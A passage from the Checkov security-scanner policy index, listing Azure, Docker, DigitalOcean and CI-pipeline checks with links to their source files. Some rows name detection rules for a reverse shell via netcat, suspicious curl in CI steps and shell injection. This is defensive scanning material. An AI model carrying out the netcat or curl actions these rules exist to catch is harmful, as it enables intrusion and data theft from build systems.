[AzureMSSQLserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMSSQLserverConfigPrivEndpt.yaml)                                                       |\n| 6291 | CKV2_AZURE_46            | resource                         | Microsoft.Synapse/workspaces/vulnerabilityAssessments                                            | Ensure that Azure Synapse Workspace vulnerability assessment is enabled                                                                                                                                  | arm                     | [AzureSynapseWorkspaceVAisEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspaceVAisEnabled.py)                                                                         |\n| 6292 | CKV2_AZURE_46            | resource                         | Microsoft.Synapse/workspaces/vulnerabilityAssessments                                            | Ensure that Azure Synapse Workspace vulnerability assessment is enabled                                                                                                                                  | Bicep                   | [AzureSynapseWorkspaceVAisEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspaceVAisEnabled.py)                                                                         |\n| 6293 | CKV2_AZURE_46            | resource                         | azurerm_synapse_workspace_security_alert_policy                                                  | Ensure that Azure Synapse Workspace vulnerability assessment is enabled                                                                                                                                  | Terraform               | [AzureSynapseWorkspaceVAisEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspaceVAisEnabled.yaml)                                                     |\n| 6294 | CKV2_AZURE_46            | resource                         | azurerm_synapse_workspace_vulnerability_assessment                                               | Ensure that Azure Synapse Workspace vulnerability assessment is enabled                                                                                                                                  | Terraform               | [AzureSynapseWorkspaceVAisEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspaceVAisEnabled.yaml)                                                     |\n| 6295 | CKV2_AZURE_47            | resource                         | azurerm_storage_account                                                                          | Ensure storage account is configured without blob anonymous access                                                                                                                                       | Terraform               | [AzureStorageAccConfigWithoutBlobAnonymousAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigWithoutBlobAnonymousAccess.yaml)                       |\n| 6296 | CKV2_AZURE_48            | resource                         | Microsoft.Databricks/workspaces                                                                  | Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption                                                                                                                  | arm                     | [DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py)                     |\n| 6297 | CKV2_AZURE_48            | resource                         | Microsoft.Databricks/workspaces                                                                  | Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption                                                                                                                  | Bicep                   | [DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py)                     |\n| 6298 | CKV2_AZURE_48            | resource                         | azurerm_databricks_workspace                                                                     | Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption                                                                                                                  | Terraform               | [DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.yaml) |\n| 6299 | CKV2_AZURE_49            | resource                         | Microsoft.MachineLearningServices/workspaces                                                     | Ensure that Azure Machine learning workspace is not configured with overly permissive network access                                                                                                     | arm                     | [AzureMLWorkspacePublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/AzureMLWorkspacePublicNetwork.yaml)                                                                       |\n| 6300 | CKV2_AZURE_49            | resource                         | azurerm_machine_learning_workspace                                                               | Ensure that Azure Machine learning workspace is not configured with overly permissive network access                                                                                                     | Terraform               | [AzureMLWorkspacePublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMLWorkspacePublicNetwork.yaml)                                                           |\n| 6301 | CKV2_AZURE_50            | resource                         | azurerm_machine_learning_workspace                                                               | Ensure Azure Storage Account storing Machine Learning workspace high business impact data is not publicly accessible                                                                                     | Terraform               | [AzureMLWorkspaceHBIPublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMLWorkspaceHBIPublicNetwork.yaml)                                                     |\n| 6302 | CKV2_AZURE_50            | resource                         | azurerm_storage_account                                                                          | Ensure Azure Storage Account storing Machine Learning workspace high business impact data is not publicly accessible                                                                                     | Terraform               | [AzureMLWorkspaceHBIPublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMLWorkspaceHBIPublicNetwork.yaml)                                                     |\n| 6303 | CKV2_AZURE_51            | resource                         | Microsoft.Sql/servers/securityAlertPolicies                                                      | Ensure Synapse SQL Pool has a security alert policy                                                                                                                                                      | arm                     | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasSecurityAlertPolicy.yaml)                                                         |\n| 6304 | CKV2_AZURE_51            | resource                         | Microsoft.Synapse/workspaces/sqlPools                                                            | Ensure Synapse SQL Pool has a security alert policy                                                                                                                                                      | arm                     | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasSecurityAlertPolicy.yaml)                                                         |\n| 6305 | CKV2_AZURE_51            | resource                         | azurerm_synapse_sql_pool                                                                         | Ensure Synapse SQL Pool has a security alert policy                                                                                                                                                      | Terraform               | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasSecurityAlertPolicy.yaml)                                             |\n| 6306 | CKV2_AZURE_51            | resource                         | azurerm_synapse_sql_pool_security_alert_policy                                                   | Ensure Synapse SQL Pool has a security alert policy                                                                                                                                                      | Terraform               | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasSecurityAlertPolicy.yaml)                                             |\n| 6307 | CKV2_AZURE_52            | resource                         | Microsoft.Sql/servers/securityAlertPolicies                                                      | Ensure Synapse SQL Pool has vulnerability assessment attached                                                                                                                                            | arm                     | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml)                                                 |\n| 6308 | CKV2_AZURE_52            | resource                         | Microsoft.Sql/servers/vulnerabilityAssessments                                                   | Ensure Synapse SQL Pool has vulnerability assessment attached                                                                                                                                            | arm                     | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml)                                                 |\n| 6309 | CKV2_AZURE_52            | resource                         | Microsoft.Synapse/workspaces/sqlPools                                                            | Ensure Synapse SQL Pool has vulnerability assessment attached                                                                                                                                            | arm                     | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml)                                                 |\n| 6310 | CKV2_AZURE_52            | resource                         | azurerm_synapse_sql_pool                                                                         | Ensure Synapse SQL Pool has vulnerability assessment attached                                                                                                                                            | Terraform               | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml)                                     |\n| 6311 | CKV2_AZURE_52            | resource                         | azurerm_synapse_sql_pool_security_alert_policy                                                   | Ensure Synapse SQL Pool has vulnerability assessment attached                                                                                                                                            | Terraform               | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml)                                     |\n| 6312 | CKV2_AZURE_52            | resource                         | azurerm_synapse_sql_pool_vulnerability_assessment                                                | Ensure Synapse SQL Pool has vulnerability assessment attached                                                                                                                                            | Terraform               | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml)                                     |\n| 6313 | CKV2_AZURE_53            | resource                         | Microsoft.Synapse/workspaces                                                                     | Ensure Azure Synapse Workspace has extended audit logs                                                                                                                                                   | arm                     | [SynapseWorkspaceHasExtendedAuditLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseWorkspaceHasExtendedAuditLogs.yaml)                                                         |\n| 6314 | CKV2_AZURE_53            | resource                         | Microsoft.Synapse/workspaces/extendedAuditingPolicies                                            | Ensure Azure Synapse Workspace has extended audit logs                                                                                                                                                   | arm                     | [SynapseWorkspaceHasExtendedAuditLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseWorkspaceHasExtendedAuditLogs.yaml)                                                         |\n| 6315 | CKV2_AZURE_53            | resource                         | azurerm_synapse_workspace                                                                        | Ensure Azure Synapse Workspace has extended audit logs                                                                                                                                                   | Terraform               | [SynapseWorkspaceHasExtendedAuditLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseWorkspaceHasExtendedAuditLogs.yaml)                                             |\n| 6316 | CKV2_AZURE_54            | resource                         | Microsoft.Synapse/workspaces/sqlPools                                                            | Ensure log monitoring is enabled for Synapse SQL Pool                                                                                                                                                    | arm                     | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseLogMonitoringEnabledForSQLPool.yaml)                                                       |\n| 6317 | CKV2_AZURE_54            | resource                         | Microsoft.Synapse/workspaces/sqlPools/auditingSettings                                           | Ensure log monitoring is enabled for Synapse SQL Pool                                                                                                                                                    | arm                     | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseLogMonitoringEnabledForSQLPool.yaml)                                                       |\n| 6318 | CKV2_AZURE_54            | resource                         | azurerm_synapse_sql_pool                                                                         | Ensure log monitoring is enabled for Synapse SQL Pool                                                                                                                                                    | Terraform               | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseLogMonitoringEnabledForSQLPool.yaml)                                           |\n| 6319 | CKV2_AZURE_54            | resource                         | azurerm_synapse_sql_pool_extended_auditing_policy                                                | Ensure log monitoring is enabled for Synapse SQL Pool                                                                                                                                                    | Terraform               | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseLogMonitoringEnabledForSQLPool.yaml)                                           |\n| 6320 | CKV2_AZURE_55            | resource                         | azurerm_spring_cloud_app                                                                         | Ensure Azure Spring Cloud app end-to-end TLS is enabled                                                                                                                                                  | Terraform               | [AzureSpringCloudTLSDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSpringCloudTLSDisabled.yaml)                                                               |\n| 6321 | CKV2_AZURE_55            | resource                         | azurerm_spring_cloud_service                                                                     | Ensure Azure Spring Cloud app end-to-end TLS is enabled                                                                                                                                                  | Terraform               | [AzureSpringCloudTLSDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSpringCloudTLSDisabled.yaml)                                                               |\n| 6322 | CKV2_AZURE_56            | resource                         | azurerm_mysql_flexible_server                                                                    | Ensure Azure MySQL Flexible Server is configured with private endpoint                                                                                                                                   | Terraform               | [AzureMySQLFlexibleServerConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMySQLFlexibleServerConfigPrivEndpt.yaml)                                       |\n| 6323 | CKV2_AZURE_57            | resource                         | azurerm_postgresql_flexible_server                                                               | Ensure PostgreSQL Flexible Server is configured with private endpoint                                                                                                                                    | Terraform               | [AzurePostgreSQLFlexibleServerConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLFlexibleServerConfigPrivEndpt.yaml)                             |\n| 6324 | CKV_AZUREPIPELINES_1     | azure_pipelines                  | jobs                                                                                             | Ensure container job uses a non latest version tag                                                                                                                                                       | Azure Pipelines         | [ContainerLatestTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerLatestTag.py)                                                                                              |\n| 6325 | CKV_AZUREPIPELINES_1     | azure_pipelines                  | stages[].jobs[]                                                                                  | Ensure container job uses a non latest version tag                                                                                                                                                       | Azure Pipelines         | [ContainerLatestTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerLatestTag.py)                                                                                              |\n| 6326 | CKV_AZUREPIPELINES_2     | azure_pipelines                  | jobs                                                                                             | Ensure container job uses a version digest                                                                                                                                                               | Azure Pipelines         | [ContainerDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerDigest.py)                                                                                                    |\n| 6327 | CKV_AZUREPIPELINES_2     | azure_pipelines                  | stages[].jobs[]                                                                                  | Ensure container job uses a version digest                                                                                                                                                               | Azure Pipelines         | [ContainerDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerDigest.py)                                                                                                    |\n| 6328 | CKV_AZUREPIPELINES_3     | azure_pipelines                  | jobs[].steps[]                                                                                   | Ensure set variable is not marked as a secret                                                                                                                                                            | Azure Pipelines         | [SetSecretVariable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/SetSecretVariable.py)                                                                                                |\n| 6329 | CKV_AZUREPIPELINES_3     | azure_pipelines                  | stages[].jobs[].steps[]                                                                          | Ensure set variable is not marked as a secret                                                                                                                                                            | Azure Pipelines         | [SetSecretVariable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/SetSecretVariable.py)                                                                                                |\n| 6330 | CKV_AZUREPIPELINES_5     | azure_pipelines                  | *.container[]                                                                                    | Detecting image usages in azure pipelines workflows                                                                                                                                                      | Azure Pipelines         | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/DetectImagesUsage.py)                                                                                                |\n| 6331 | CKV_AZUREPIPELINES_5     | azure_pipelines                  | jobs[]                                                                                           | Detecting image usages in azure pipelines workflows                                                                                                                                                      | Azure Pipelines         | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/DetectImagesUsage.py)                                                                                                |\n| 6332 | CKV_AZUREPIPELINES_5     | azure_pipelines                  | stages[].jobs[]                                                                                  | Detecting image usages in azure pipelines workflows                                                                                                                                                      | Azure Pipelines         | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/DetectImagesUsage.py)                                                                                                |\n| 6333 | CKV_BCW_1                | provider                         | bridgecrew                                                                                       | Ensure no hard coded API token exist in the provider                                                                                                                                                     | Terraform               | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/bridgecrew/credentials.py)                                                                                                  |\n| 6334 | CKV_BITBUCKET_1          | bitbucket_configuration          | *                                                                                                | Merge requests should require at least 2 approvals                                                                                                                                                       | bitbucket_configuration | [merge_requests_approvals.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket/checks/merge_requests_approvals.py)                                                                                            |\n| 6335 | CKV_BITBUCKETPIPELINES_1 | bitbucket_pipelines              | [{image:image,__startline__:__startline__,__endline__:__endline__}]                              | Ensure the pipeline image uses a non latest version tag                                                                                                                                                  | bitbucket_pipelines     | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket_pipelines/checks/latest_image.py)                                                                                                          |\n| 6336 | CKV_BITBUCKETPIPELINES_1 | bitbucket_pipelines              | pipelines.*.[*][][][].step.{image: image, __startline__: __startline__, __endline__:__endline__} | Ensure the pipeline image uses a non latest version tag                                                                                                                                                  | bitbucket_pipelines     | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket_pipelines/checks/latest_image.py)                                                                                                          |\n| 6337 | CKV_BITBUCKETPIPELINES_1 | bitbucket_pipelines              | pipelines.default[].step.{image: image, __startline__: __startline__, __endline__:__endline__}   | Ensure the pipeline image uses a non latest version tag                                                                                                                                                  | bitbucket_pipelines     | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket_pipelines/checks/latest_image.py)                                                                                                          |\n| 6338 | CKV_CIRCLECIPIPELINES_1  | circleci_pipelines               | jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}            | Ensure the pipeline image uses a non latest version tag                                                                                                                                                  | circleci_pipelines      | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/latest_image.py)                                                                                                           |\n| 6339 | CKV_CIRCLECIPIPELINES_2  | circleci_pipelines               | jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}            | Ensure the pipeline image version is referenced via hash not arbitrary tag.                                                                                                                              | circleci_pipelines      | [image_version_not_hash.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/image_version_not_hash.py)                                                                                       |\n| 6340 | CKV_CIRCLECIPIPELINES_3  | circleci_pipelines               | orbs.{orbs: @}                                                                                   | Ensure mutable development orbs are not used.                                                                                                                                                            | circleci_pipelines      | [prevent_development_orbs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/prevent_development_orbs.py)                                                                                   |\n| 6341 | CKV_CIRCLECIPIPELINES_4  | circleci_pipelines               | orbs.{orbs: @}                                                                                   | Ensure unversioned volatile orbs are not used.                                                                                                                                                           | circleci_pipelines      | [prevent_volatile_orbs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/prevent_volatile_orbs.py)                                                                                         |\n| 6342 | CKV_CIRCLECIPIPELINES_5  | circleci_pipelines               | jobs.*.steps[]                                                                                   | Suspicious use of netcat with IP address                                                                                                                                                                 | circleci_pipelines      | [ReverseShellNetcat.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/ReverseShellNetcat.py)                                                                                               |\n| 6343 | CKV_CIRCLECIPIPELINES_6  | circleci_pipelines               | jobs.*.steps[]                                                                                   | Ensure run commands are not vulnerable to shell injection                                                                                                                                                | circleci_pipelines      | [ShellInjection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/ShellInjection.py)                                                                                                       |\n| 6344 | CKV_CIRCLECIPIPELINES_7  | circleci_pipelines               | jobs.*.steps[]                                                                                   | Suspicious use of curl in run task                                                                                                                                                                       | circleci_pipelines      | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/SuspectCurlInScript.py)                                                                                             |\n| 6345 | CKV_CIRCLECIPIPELINES_8  | circleci_pipelines               | executors.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}       | Detecting image usages in circleci pipelines                                                                                                                                                             | circleci_pipelines      | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/DetectImagesUsage.py)                                                                                                 |\n| 6346 | CKV_CIRCLECIPIPELINES_8  | circleci_pipelines               | jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}            | Detecting image usages in circleci pipelines                                                                                                                                                             | circleci_pipelines      | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/DetectImagesUsage.py)                                                                                                 |\n| 6347 | CKV_DIO_1                | resource                         | digitalocean_spaces_bucket                                                                       | Ensure the Spaces bucket has versioning enabled                                                                                                                                                          | Terraform               | [SpacesBucketVersioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/SpacesBucketVersioning.py)                                                                          |\n| 6348 | CKV_DIO_2                | resource                         | digitalocean_droplet                                                                             | Ensure the droplet specifies an SSH key                                                                                                                                                                  | Terraform               | [DropletSSHKeys.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/DropletSSHKeys.py)                                                                                          |\n| 6349 | CKV_DIO_3                | resource                         | digitalocean_spaces_bucket                                                                       | Ensure the Spaces bucket is private                                                                                                                                                                      | Terraform               | [SpacesBucketPublicRead.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/SpacesBucketPublicRead.py)                                                                          |\n| 6350 | CKV_DIO_4                | resource                         | digitalocean_firewall                                                                            | Ensure the firewall ingress is not wide open                                                                                                                                                             | Terraform               | [FirewallIngressOpen.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/FirewallIngressOpen.py)                                                                                |\n| 6351 | CKV_DOCKER_1             | dockerfile                       | EXPOSE                                                                                           | Ensure port 22 is not exposed                                                                                                                                                                            | dockerfile              | [ExposePort22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/ExposePort22.py)                                                                                                                   |\n| 6352 | CKV_DOCKER_2             | dockerfile                       | *                                                                                                | Ensure that HEALTHCHECK instructions have been added to container images                                                                                                                                 | dockerfile              | [HealthcheckExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/HealthcheckExists.py)                                                                                                         |\n| 6353 | CKV_DOCKER_3             | dockerfile                       | *                                                                                                | Ensure that a user for the container has been created                                                                                                                                                    | dockerfile              | [UserExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/UserExists.py)                                                                                                                       |\n| 6354 | CKV_DOCKER_4             | dockerfile                       | ADD                                                                                              | Ensure that COPY is used instead of ADD in Dockerfiles                                                                                                                                                   | dockerfile              | [AddExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/AddExists.py)                                                                                                                         |\n| 6355 | CKV_DOCKER_5             | dockerfile                       | RUN                                                                                              | Ensure update instructions are not use alone in the Dockerfile                                                                                                                                           | dockerfile              | [UpdateNotAlone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/UpdateNotAlone.py)                                                                                                               |\n| 6356 | CKV_DOCKER_6             | dockerfile                       | MAINTAINER                                                                                       | Ensure that LABEL maintainer is used instead of MAINTAINER (deprecated)                                                                                                                                  | dockerfile              | [MaintainerExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/MaintainerExists.py)                                                                                                           |\n| 6357 | CKV_DOCKER_7             | dockerfile                       | FROM                                                                                             | Ensure the base image uses a non latest version tag                                                                                                                                                      | dockerfile              | [ReferenceLatestTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/ReferenceLatestTag.py)                                                                                                       |\n| 6358 | CKV_DOCKER_8             | dockerfile                       | USER                                                                                             | Ensure the last USER is not root                                                                                                                                                                         | dockerfile              | [RootUser.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/RootUser.py)                                                                                                                           |\n| 6359 | CKV_DOCKER_9             | dockerfile                       | RUN                                                                                              | Ensure that APT isn't used                                                                                                                                                                               | dockerfile              | [RunUsingAPT.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/RunUsingAPT.py)                                                                                                                     |\n| 6360 | CKV_DOCKER_10            | dockerfile                       | WORKDIR                                                                                          | Ensure that WORKDIR values are absolute paths                                                                                                                                                            | dockerfile              | [WorkdirIsAbsolute.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/WorkdirIsAbsolute.py)                                                                                                         |\n| 6361 | CKV_DOCKER_11            | dockerfile                       | FROM                                                                                             | Ensure From Alias are unique for multistage builds.                                                                                                                                                      | dockerfile              | [AliasIsUnique.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/AliasIsUnique.py)                                                                                                                 |\n| 6362 | CKV2_DOCKER_1            | resource                         | RUN                                                                                              | Ensure that sudo isn't used                                                                                                                                                                              | dockerfile              | [RunUsingSudo.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunUsingSudo.yaml)                                                                                                  |\n| 6363 | CKV2_DOCKER_2            | resource                         | RUN                                                                                              | Ensure that certificate validation isn't disabled with curl                                                                                                                                              | dockerfile              | [RunUnsafeCurl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunUnsafeCurl.yaml)                                                                                                |\n| 6364 | CKV2_DOCKER_3            | resource                         | RUN                                                                                              | Ensure that certificate validation isn't disabled with wget                                                                                                                                              | dockerfile              | [RunUnsafeWget.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunUnsafeWget.yaml)                                                                                                |\n| 6365 | CKV2_DOCKER_4            | resource                         | RUN                                                                                              | Ensure that certificate validation isn't disabled with the pip '--trusted-host' option                                                                                                                   | dockerfile              | [RunPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunPipTrustedHost.yaml)                                                                                        |\n| 6366 | CKV2_DOCKER_5            | resource                         | ARG                                                                                              | Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable                                                                                                        | dockerfile              | [EnvPythonHttpsVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml)                                                                                  |\n| 6367 | CKV2_DOCKER_5            | resource                         | ENV                                                                                              | Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable                                                                                                        | dockerfile              | [EnvPythonHttpsVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml)                                                                                  |\n| 6368 | CKV2_DOCKER_5            | resource                         | RUN                                                                                              | Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable                                                                                                        | dockerfile              | [EnvPythonHttpsVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml)                                                                                  |\n| 6369 | CKV2_DOCKER_6            | resource                         | ARG                                                                                              | Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable                                                                                             | dockerfile              | [EnvNodeTlsRejectUnauthorized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml)                                                                  |\n| 6370 | CKV2_DOCKER_6            | resource                         | ENV                                                                                              | Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable                                                                                             | dockerfile              | [EnvNodeTlsRejectUnauthorized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml)                                                                  |\n| 6371 | CKV2_DOCKER_6            | resource                         | RUN                                                                                              | Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable                                                                                             | dockerfile              | [EnvNodeTlsRejectUnauthorized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml)                                                                  |\n| 6372 | CKV2_DOCKER_7            | resource                         | RUN                                                                                              | Ensure that packages with untrusted or missing signatures are not used by apk via the '--allow-untrusted' option                                                                                         | dockerfile              | [RunApkAllowUntrusted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunApkAllowUntrusted.yaml)                                                                                  |\n| 6373 | CKV2_DOCKER_8            | resource                         | RUN                                                                                              | Ensure that packages with untrusted or missing signatures are not used by apt-get via the '--allow-unauthenticated' option                                                                               | dockerfile              | [RunAptGetAllowUnauthenticated.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunAptGetAllowUnauthenticated.yaml)                                                                |\n| 6374 | CKV2_DOCKER_9            | resource                         | RUN                                                                                              | Ensure that packages with untrusted or missing GPG signatures are not used by dnf, tdnf, or yum via the '--nogpgcheck' option                                                                            | dockerfile              | [RunYumNoGpgCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunYumNoGpgCheck.yaml)                                                                                          |\n| 6375 | CKV2_DOCKER_10           | resource                         | RUN                                                                                              | Ensure that packages with untrusted or missing signatures are not used by rpm via the '--nodigest', '--nosignature', '--noverify', or '--nofiledigest' options                                           | dockerfile              | [RunRpmNoSignature.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunRpmNoSignature.yaml)                                                                                        |\n| 6376 | CKV2_DOCKER_11           | resource                         | RUN                                                                                              | Ensure that the '--force-yes' option is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                  | dockerfile              | 